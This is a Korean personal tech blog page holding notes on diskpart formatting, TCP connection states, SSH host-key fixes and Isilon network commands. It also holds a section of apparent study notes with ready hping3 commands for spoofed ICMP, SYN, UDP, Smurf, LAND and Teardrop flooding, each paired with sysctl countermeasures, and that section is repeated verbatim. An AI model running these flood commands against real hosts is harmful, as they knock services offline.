2018년 4월 18일 수요일
DISK Format, Partition primary
C:\>diskpart
DISKPART> list disk
디스크 ### 상태 크기 사용 가능 Dyn Gpt
---------- ------------- ------- ------------ --- ---
디스크 0 온라인 476 GB 0 B *
디스크 1 온라인 119 GB 15 MB
DISKPART>
DISKPART> select disk 1
1 디스크가 선택한 디스크입니다.
DISKPART> clean
DiskPart에서 디스크를 정리했습니다.
DISKPART> create partition primary
DiskPart에서 지정한 파티션을 만들었습니다.
DISKPART> select partition 1
1 파티션이 선택한 파티션입니다.
DISKPART> active
DiskPart에서 현재 파티션을 활성으로 표시했습니다.
DISKPART> format fs=ntfs
100 퍼센트 완료
DiskPart가 볼륨을 성공적으로 포맷했습니다.
DISKPART>
DISKPART> assign letter=A
DiskPart에서 드라이브 문자 또는 탑재 지점을 할당했습니다.
DISKPART>
2018년 4월 15일 일요일
netstat status
회선 상태
|
의 미
|
LISTEN
|
서버 애플리케이션이 적재되어 수동적인 모드로 포트를 개설. TCP는 연결 요청이 수신되기를 기다리고 있는 상태
|
SYN-SENT
|
Local system의 Client application이 Remote host에 능동적인 개설을 요청. TCP는 Synchronize 플래그를 설정한 시작 세그먼트를 전송하였으며 Remote System도 역시 Synchronize 플래그를 설정한 시작 세그먼트로 응답할 것을 기다리고 있는 상태.
|
SYN-RECEIVED
|
서버의 TCP가 원격 클라이언트로부터 Synchronize 플래그를 설정한 시작 세그먼트를 수신하였고 자신의 시작 세그먼트로 응답 하였으며, 그 세그먼트에 대한 확인 메시지를 기다리는 상태
|
ESTABLISHED
|
가상 회선이 실제 작동되고 있는 상태. TCP의 3단계 핸드쉐이크 과정이 완료되면 두 시스템은 ESTABLISHED 상태로 들어갑니다.
|
FIN-WAIT-1
|
Local application은 가상 회선에 능동적인 종결을 요청하였으며 TCP는 Finish 플래그가 설정된 종결 세그먼트를 전송하였음. 그러나 TCP는 아직도 원격 시스템이 세그먼트에 대한 확인 메시지와 자신만의 종결 세그먼트로 응답하기를 기다림. 회선이 완전히 종결될 때까지 원격 시스템으로부터 데이터는 수신하지만, 추가적인 데이터를 전송하지는 않을 그러한 상태
|
CLOSE-WAIT
|
FIN-WAIT-1의 설명과 같이 Finish 플래그가 설정된 종결 세그먼트가 수신되었고, 로컬 TCP는 그 세그먼트에 대한 확인 메시지를 송신 시스템에 전송하였음. 그러나 로컬 TCP는 로컬 application에서 작업을 종료하지 않아 자신의 종결 세그먼트를 생성하지 못한 상태
|
FIN-WAIT-2
|
FIN-WAIT-1의 설명과 같이 로컬 TCP는 Finish 플래그가 설정된 종결 세그먼트를 전송하였으며 CLOSE-WAIT 설명대로 원격 시스템으로부터 그 세그먼트에 대한 확인 메시지를 수신한 상태. 그러나 원격 application이 아직 작업을 종료하지 않아 원격 TCP가 자신의 종결 세그먼트를 생성하지 못한 그러한 상태
|
LAST-ACK
|
FIN-WAIT-1의 설명과 같이 Finish 플래그가 설정된 종결 세그먼트가 수신되었고, 로컬 application은 회선의 종결에 합의하여 자신도 종결을 요청하였음. 그 결과 로컬 TCP는 Finish 플래그가 설정된 자신의 종결 세그먼트를 전송하였으며, 회선은 이 세그먼트에 대한 확인 메시지가 수신되면 종결됩니다.
|
CLOSING
|
이 상태는 흔하지 않으며, 일반적으로 세그먼트가 네트워크에서 분실되었다는 것을 의미. 이런 경우 로컬 TCP는 FIN-WAIT-1의 설명과 같이 Finish 플래그가 설정된 종결 세그먼트를 전송하고 LAST-ACK 설명에서와 같이 원격 시스템의 종결 세그먼트도 수신하였지만, FIN-WAIT-1 단계에서 전송한 세그먼트에 대한 확인 메시지가 수신 되지 않은 상태임. 이 상태는 보통 확인 메시지가 도중에 분실되었다는 의미임.
|
TIME-WAIT
|
회선의 종결 절차가 완료되었으나 TCP는 분실되었을지 모르는 느린 세그먼트를 위해 당분간 소켓을 열어 놓은 상태로 유지시킴. 이 상태는 새로운 연결이 기존의 연결에서 사용된 일련번호를 다시 사용하는 것을 막음. 원격 시스템이 종결하는 호스트로부터 더 이상 데이터를 수신할 가능성이 없으므로, 이 상태는 능동적인 종결을 요청한 호스트에서만 나타남
|
CLOSED
|
회선은 종결되었고 TCP는 그 가상 회선에 사용되었던 모든 자원을 놓아줌. 이 상태는 가상회선이 없으므로 아무 일도 일어나지 않음
|
Security- TEST
참조사이트 :
http://www.ubuntu.com/
http://www.kali.org
http://www.backtrack-linux.org
- default ID/PW : root / toor
- Command : startx
hping3 --icmp 192.168.x.128 -d 65000 -i u1000 -a 172.16.1.2
~ 1000분의 1초 단위로 패킷 전송
hping3 --icmp 192.168.x.128 -d 65000 --flood -a 172.16.1.2
~시스템의 가용량의 최대로 패킷을 보낸다.
# 대응 방법
- ICMP 제한 : 정상적인 경우 Linux = 64byte, Windows = 32byte임
- 특정 IP에서 오는 ICMP 개수를 제한 (ex. 초당 10개까지만 허용)
2. LAND Attack
출발지 주소를 Target의 주소로 스푸핑하는 Ping of Death
hping3 --icmp 192.168.x.128 -d 65000 -i u1000 -a 192.168.x.128
*대응방법
외부 네트워크에서 출발지를 내부로한 패킷이 들어오면 차단
3. Smurf Attack
: 출발지는 Target으로 지정, 목적지를 Target이 속한 네트워크로 직접 브로드캐스트를 보내는 Ping of Death
<참고>
Broadcast :
-제한 브로드 캐스트 (Limited Broadcast) : 모든 비트가 1 (255.255.255.255)
> 같은 네트워크 내에서만 전달됨 (라우터가 받으면 버림)
-직접 브로드 캐스트 (Direct Broadcast) : 네트워크 부분은 공인 IP대역 , 호스트 부분만 1로 구성 ex)168.240.15.255
hping3 --icmp 192.168.x.255 -d 65000 -i u1000 -a 192.168.x.128
*대응방법
-sysctl -a | grep net.ipv4.icmp_*
-sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1
4. TCP SYN Flooding
: Backlog Queue 에 쌓이도록 유도하여 Queue 기능을 상실토록 하는 공격법
: Time-Out이 되기 전에 Backlog Queue를 채우면 공격 성공
hping3 -S 192.168.x.128-p 80 -i u1000 -a 172.16.1.2
(-S : sync, -p 80: web server)
hping3 -S 192.168.179.128 -p 80 --flood --rand-source
(참고 --rand-source : 출발지 주소를 랜덤하게 변경)
*대응방법 : (이것만으로 전부 해결은 아님)
sysctl -w net.ipv4.tcp_keepalive_time=1600
sysctl -w net.ipv4.tcp_syncookies=1
5. UDP Flooding
hping3 --udp 192.168.179.128 -p 53 -i u1000 -a 172.16.1.2 -d 1470
6. Tear Drop (찢어 버리기임, 눈물 떨구기 아님)
: Offset값을 조작해서 재조립을 방해하는 공격 기법
(Offset 값은 첫바이트를 8로 나눈 값을 번호로 사용하는 것)
hping3 --icmp 192.168.179.128 -g 200 -d 1450 -i u1000
(-g: Offset)
http://www.ubuntu.com/
http://www.kali.org
http://www.backtrack-linux.org
- default ID/PW : root / toor
- Command : startx
hping3 --icmp 192.168.x.128 -d 65000 -i u1000 -a 172.16.1.2
~ 1000분의 1초 단위로 패킷 전송
hping3 --icmp 192.168.x.128 -d 65000 --flood -a 172.16.1.2
~시스템의 가용량의 최대로 패킷을 보낸다.
# 대응 방법
- ICMP 제한 : 정상적인 경우 Linux = 64byte, Windows = 32byte임
- 특정 IP에서 오는 ICMP 개수를 제한 (ex. 초당 10개까지만 허용)
2. LAND Attack
출발지 주소를 Target의 주소로 스푸핑하는 Ping of Death
hping3 --icmp 192.168.x.128 -d 65000 -i u1000 -a 192.168.x.128
*대응방법
외부 네트워크에서 출발지를 내부로한 패킷이 들어오면 차단
3. Smurf Attack
: 출발지는 Target으로 지정, 목적지를 Target이 속한 네트워크로 직접 브로드캐스트를 보내는 Ping of Death
<참고>
Broadcast :
-제한 브로드 캐스트 (Limited Broadcast) : 모든 비트가 1 (255.255.255.255)
> 같은 네트워크 내에서만 전달됨 (라우터가 받으면 버림)
-직접 브로드 캐스트 (Direct Broadcast) : 네트워크 부분은 공인 IP대역 , 호스트 부분만 1로 구성 ex)168.240.15.255
hping3 --icmp 192.168.x.255 -d 65000 -i u1000 -a 192.168.x.128
*대응방법
-sysctl -a | grep net.ipv4.icmp_*
-sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1
4. TCP SYN Flooding
: Backlog Queue 에 쌓이도록 유도하여 Queue 기능을 상실토록 하는 공격법
: Time-Out이 되기 전에 Backlog Queue를 채우면 공격 성공
hping3 -S 192.168.x.128-p 80 -i u1000 -a 172.16.1.2
(-S : sync, -p 80: web server)
hping3 -S 192.168.179.128 -p 80 --flood --rand-source
(참고 --rand-source : 출발지 주소를 랜덤하게 변경)
*대응방법 : (이것만으로 전부 해결은 아님)
sysctl -w net.ipv4.tcp_keepalive_time=1600
sysctl -w net.ipv4.tcp_syncookies=1
5. UDP Flooding
hping3 --udp 192.168.179.128 -p 53 -i u1000 -a 172.16.1.2 -d 1470
6. Tear Drop (찢어 버리기임, 눈물 떨구기 아님)
: Offset값을 조작해서 재조립을 방해하는 공격 기법
(Offset 값은 첫바이트를 8로 나눈 값을 번호로 사용하는 것)
hping3 --icmp 192.168.179.128 -g 200 -d 1450 -i u1000
(-g: Offset)
ssh-keygen
ssh-keygen -- authentication key generation, management and conversion
-F hostname
Search for the specified hostname in a known_hosts file, listing
any occurrences found. This option is useful to find hashed host
names or addresses and may also be used in conjunction with the
-H option to print found keys in a hashed format.
-R hostname
Removes all keys belonging to hostname from a known_hosts file.
This option is useful to delete hashed hosts (see the -H option
above).
ssh-keygen -f "/root/.ssh/known_hosts" -R [Node_IP]
-F hostname
Search for the specified hostname in a known_hosts file, listing
any occurrences found. This option is useful to find hashed host
names or addresses and may also be used in conjunction with the
-H option to print found keys in a hashed format.
-R hostname
Removes all keys belonging to hostname from a known_hosts file.
This option is useful to delete hashed hosts (see the -H option
above).
ssh-keygen -f "/root/.ssh/known_hosts" -R [Node_IP]
2017년 11월 23일 목요일
OneFS v7 vs v8 | SmartConnect 관련
[ OneFS v7.2 ]
# isi networks list subnets
# isi networks modify pool --name=subnet0:pool0 --zone=<domain_name>
# isi networks list pool
# isi networks modify subnet --name=<subnet name> --sc-service-addr=<ip-address>
[OneFS v8.0]
# isi network subnets list --v
# isi network subnets modify groupnet0.subnet0 --sc-service-addr=<ip-address> --sc-service-name=<domain_name>
[ OneFS v7.2 ]
# isi network ls pools
# isi network ls pools <subnet_name:pool_name>
# isi networks modify pool --name= <subnet_name:pool_name> --ranges=<ip-address-ip-address>
[OneFS v8.0]
# isi network pools list
# isi network pools modify --id=groupnet0.subnet1.pool0 --ranges=4.4.4.21-4.4.4.29
Isilon | WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
$ ssh root@192.168.0.10
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ECDSA key sent by the remote host is
SHA256:Jv2/U69vLTXbEYU5JbVIj2a8Xc3Q/7fzCAezq77Z2E4.
Please contact your system administrator.
Add correct host key in /home/breeze/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /home/breeze/.ssh/known_hosts:1
remove with:
ssh-keygen -f "/home/breeze/.ssh/known_hosts" -R 192.168.0.10
ECDSA host key for 192.168.0.10 has changed and you have requested strict checking.
Host key verification failed.
$ ssh-keygen -f "/home/breeze/.ssh/known_hosts" -R 192.168.0.10
# Host 192.168.0.10 found: line 1
/home/breeze/.ssh/known_hosts updated.
Original contents retained as /home/breeze/.ssh/known_hosts.old
$ ssh root@192.168.0.10
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ECDSA key sent by the remote host is
SHA256:Jv2/U69vLTXbEYU5JbVIj2a8Xc3Q/7fzCAezq77Z2E4.
Please contact your system administrator.
Add correct host key in /home/breeze/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /home/breeze/.ssh/known_hosts:1
remove with:
ssh-keygen -f "/home/breeze/.ssh/known_hosts" -R 192.168.0.10
ECDSA host key for 192.168.0.10 has changed and you have requested strict checking.
Host key verification failed.
$ ssh-keygen -f "/home/breeze/.ssh/known_hosts" -R 192.168.0.10
# Host 192.168.0.10 found: line 1
/home/breeze/.ssh/known_hosts updated.
Original contents retained as /home/breeze/.ssh/known_hosts.old
$ ssh root@192.168.0.10
피드 구독하기:
글 (Atom)